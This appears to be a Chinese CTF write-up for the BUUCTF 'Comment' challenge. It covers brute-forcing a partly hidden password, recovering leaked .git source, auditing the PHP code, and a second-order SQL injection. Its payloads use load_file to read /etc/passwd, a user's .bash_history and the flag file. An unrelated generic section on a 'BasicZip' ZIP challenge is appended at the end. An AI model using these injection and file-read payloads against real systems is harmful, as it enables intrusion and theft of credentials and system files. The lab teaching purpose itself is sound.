【BUUCTF】[网鼎杯 2018]Comment

进入题目页面如下

看到有留言板

点击发帖,随便输入内容,提交

跳转到login.php,页面如下

看到用户名已经给出是zhangwei,密码是zhangwei***,隐藏了三位

用burp suite爆破看看能不能爆破出隐藏的三位

先进行抓包

右键发送到Intruder模块

在隐藏的三个数处添加payload,并按下图设置,并开始攻击

看到长度不同的payload

看到是666

zhangwei

zhangwei666

登录成功

尝试了SQL注入、xss漏洞都无果

用dirsearch扫描根目录试试

dirsearch -u http://f9a257b1-1af7-4085-9c6d-a2dcf74f078d.node5.buuoj.cn:81/ -e*

看到多个.git路径,猜测是源码泄露

用GitHack下载源码

我是在kali中下载的GitHack

先进入root用户

sudo su

下载克隆Git Hack库

git clone https://github.com/BugScanTeam/GitHack

使用GitHack时,要先cd一下,在Git Hack目录下进行

cd GitHack

GitHack要用python2

python2 GitHack.py http://f9a257b1-1af7-4085-9c6d-a2dcf74f078d.node5.buuoj.cn:81/.git/

显示这个则成功

打开GitHack文件下的dist

看到write_do.php文件

打开看到源码

但是并没有发现可以利用的漏洞

发现还需要

git源码的恢复

命令如下

git log --reflog

复制上面commit的第一个内容

git reset --hard d452e57b5a4a95644a0f7f7cfa2a74d69de6e7f8

再次打开,得到完整代码

 

<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
    header("Location: ./login.php");
    die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
    $category = addslashes($_POST['category']);
    $title = addslashes($_POST['title']);
    $content = addslashes($_POST['content']);
    $sql = "insert into board
            set category = '$category',
                title = '$title',
                content = '$content'";
    $result = mysql_query($sql);
    header("Location: ./index.php");
    break;
case 'comment':
    $bo_id = addslashes($_POST['bo_id']);
    $sql = "select category from board where id='$bo_id'";
    $result = mysql_query($sql);
    $num = mysql_num_rows($result);
    if($num>0){
    $category = mysql_fetch_array($result)['category'];
    $content = addslashes($_POST['content']);
    $sql = "insert into comment
            set category = '$category',
                content = '$content',
                bo_id = '$bo_id'";
    $result = mysql_query($sql);
    }
    header("Location: ./comment.php?id=$bo_id");
    break;
default:
    header("Location: ./index.php");
}
}
else{
    header("Location: ./index.php");
}
?>

开始审计

<?php
// 包含名为 mysql.php 的文件,该文件可能包含了数据库连接相关的代码
include "mysql.php";

// 启动会话,用于存储和获取用户的会话信息
session_start();

// 检查会话中的 'login' 变量是否不等于 'yes',如果不等于则表示用户未登录
if($_SESSION['login'] != 'yes'){
    // 若未登录,使用 header 函数将用户重定向到登录页面 login.php
    header("Location: ./login.php");
    // 终止当前脚本的执行,防止后续代码继续运行
    die();
}

// 检查是否通过 GET 请求传递了 'do' 参数
if(isset($_GET['do'])){
    // 根据 'do' 参数的值进行不同的操作
    switch ($_GET['do'])
    {
        // 当 'do' 参数的值为 'write' 时
        case 'write':
            // 获取 POST 请求中的 'category' 参数,并使用 addslashes 函数对其进行转义,防止 SQL 注入
            $category = addslashes($_POST['category']);
            // 获取 POST 请求中的 'title' 参数,并使用 addslashes 函数对其进行转义
            $title = addslashes($_POST['title']);
            // 获取 POST 请求中的 'content' 参数,并使用 addslashes 函数对其进行转义
            $content = addslashes($_POST['content']);
            // 构建插入数据到 'board' 表的 SQL 语句
            $sql = "insert into board
                    set category = '$category',
                        title = '$title',
                        content = '$content'";
            // 执行 SQL 语句
            $result = mysql_query($sql);
            // 将用户重定向到 index.php 页面
            header("Location: ./index.php");
            // 跳出 switch 语句
            break;
        // 当 'do' 参数的值为 'comment' 时
        case 'comment':
            // 获取 POST 请求中的 'bo_id' 参数,并使用 addslashes 函数对其进行转义
            $bo_id = addslashes($_POST['bo_id']);
            // 构建查询 'board' 表中指定 'id' 的 'category' 的 SQL 语句
            $sql = "select category from board where id='$bo_id'";
            // 执行 SQL 语句
            $result = mysql_query($sql);
            // 获取查询结果的行数
            $num = mysql_num_rows($result);
            // 如果查询结果的行数大于 0,说明存在符合条件的记录
            if($num>0){
                // 获取查询结果中的 'category' 字段值
                $category = mysql_fetch_array($result)['category'];
                // 获取 POST 请求中的 'content' 参数,并使用 addslashes 函数对其进行转义
                $content = addslashes($_POST['content']);
                // 构建插入数据到 'comment' 表的 SQL 语句
                $sql = "insert into comment
                        set category = '$category',
                            content = '$content',
                            bo_id = '$bo_id'";
                // 执行 SQL 语句
                $result = mysql_query($sql);
            }
            // 将用户重定向到 comment.php 页面,并传递 'id' 参数
            header("Location: ./comment.php?id=$bo_id");
            // 跳出 switch 语句
            break;
        // 当 'do' 参数的值为其他值时
        default:
            // 将用户重定向到 index.php 页面
            header("Location: ./index.php");
    }
}
// 如果没有通过 GET 请求传递 'do' 参数
else{
    // 将用户重定向到 index.php 页面
    header("Location: ./index.php");
}
?>

存在SQL注入

代码使用了 addslashes 函数对用户输入进行转义

addslashes 只是简单地对单引号、双引号、反斜杠等字符进行转义,在某些特定的字符集(如 GBK)下,可以利用宽字节注入绕过这种防护


SQL注入

注入点值为comment

爆出数据库名

1',content=database(),/*

点击提交,点击详情

提交留言填写*/#用于闭合语句

爆出了数据库名,回显ctf

payload

1',content=(select( load_file('/etc/passwd'))),/*

得到信息,用bash进行读取文件
用户为www,读取他的history文件

1’,content=(select (load_file(‘/home/www/.bash_history’))),/*

得到命令

1’,content=(select(hex(load_file(’/tmp/html/.DS_Store’)))),/*

读取.DS_Store文件

得到一串十六进制文本

在线十六进制转字符

flag文件是:flag_8946e1ff1ee3e40f.php

回到/var/www/html中读取flag

1’,content=select(hex(load_file(’/var/www/html/flag_8946e1ff1ee3e40f.php’)))),/*


### 关于BUUCTF BasicZip挑战的信息 针对BUUCTF中的BasicZip挑战,虽然提供的参考资料未直接提及此特定题目,但从其他CTF比赛的经验来看,这类题目通常涉及ZIP文件格式的理解以及可能存在的漏洞利用。 #### ZIP 文件结构解析 ZIP是一种广泛使用的压缩文件格式,支持多种压缩算法。其基本结构由多个部分组成: - **本地文件头(Local File Header)**:存储有关单个存档条目的元数据。 - **文件数据(File Data)**:实际被压缩的数据体。 - **中央目录记录(Central Directory Record)**:提供整个档案内所有成员文件的全局视图。 - **结束中心目录(End of Central Directory)**:指向并描述了中央目录的位置和大小[^1]。 对于解决此类问题的关键在于理解这些组件如何相互作用,并识别任何潜在的安全弱点或不寻常之处。 #### 解决方案概述 面对BasicZip类型的挑战时,常见的策略包括但不限于以下几点: - **检查文件签名**:验证ZIP文件头部是否遵循标准规范(`PK\x03\x04`),这有助于确认文件的真实性和完整性。 - **探索冗余信息**:有时攻击者会在不影响正常解压的前提下,在ZIP容器内部嵌入额外的秘密消息或其他形式的有效负载;通过仔细审查每个字段可以发现隐藏的内容。 - **滥用特性/缺陷**:某些旧版软件实现可能存在安全疏漏,允许创建特制的ZIP文件来绕过权限控制机制或者触发缓冲区溢出等问题。 - **暴力破解口令保护**:如果遇到受密码保护的ZIP文档,则可尝试字典攻击方法去猜测正确的密钥字符串。 ```python from zipfile import ZipFile, BadZipfile def analyze_zip(file_path): try: with ZipFile(file_path,'r') as zf: info_list = zf.infolist() for item in info_list: print(f'Filename: {item.filename}, Compressed Size: {item.compress_size}') # Attempt to read comment section which might contain hints if zf.comment != b"": print("Comment found:",zf.comment.decode()) return True except BadZipfile as e: print("Invalid zip file.") return False analyze_zip('example.zip') ``` 上述代码片段展示了怎样打开一个ZIP文件并提取其中的一些基本信息,同时也示范了处理异常情况的方式。值得注意的是,这段脚本仅作为示例用途,在真实环境中应当更加谨慎地对待未知来源的数据文件。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值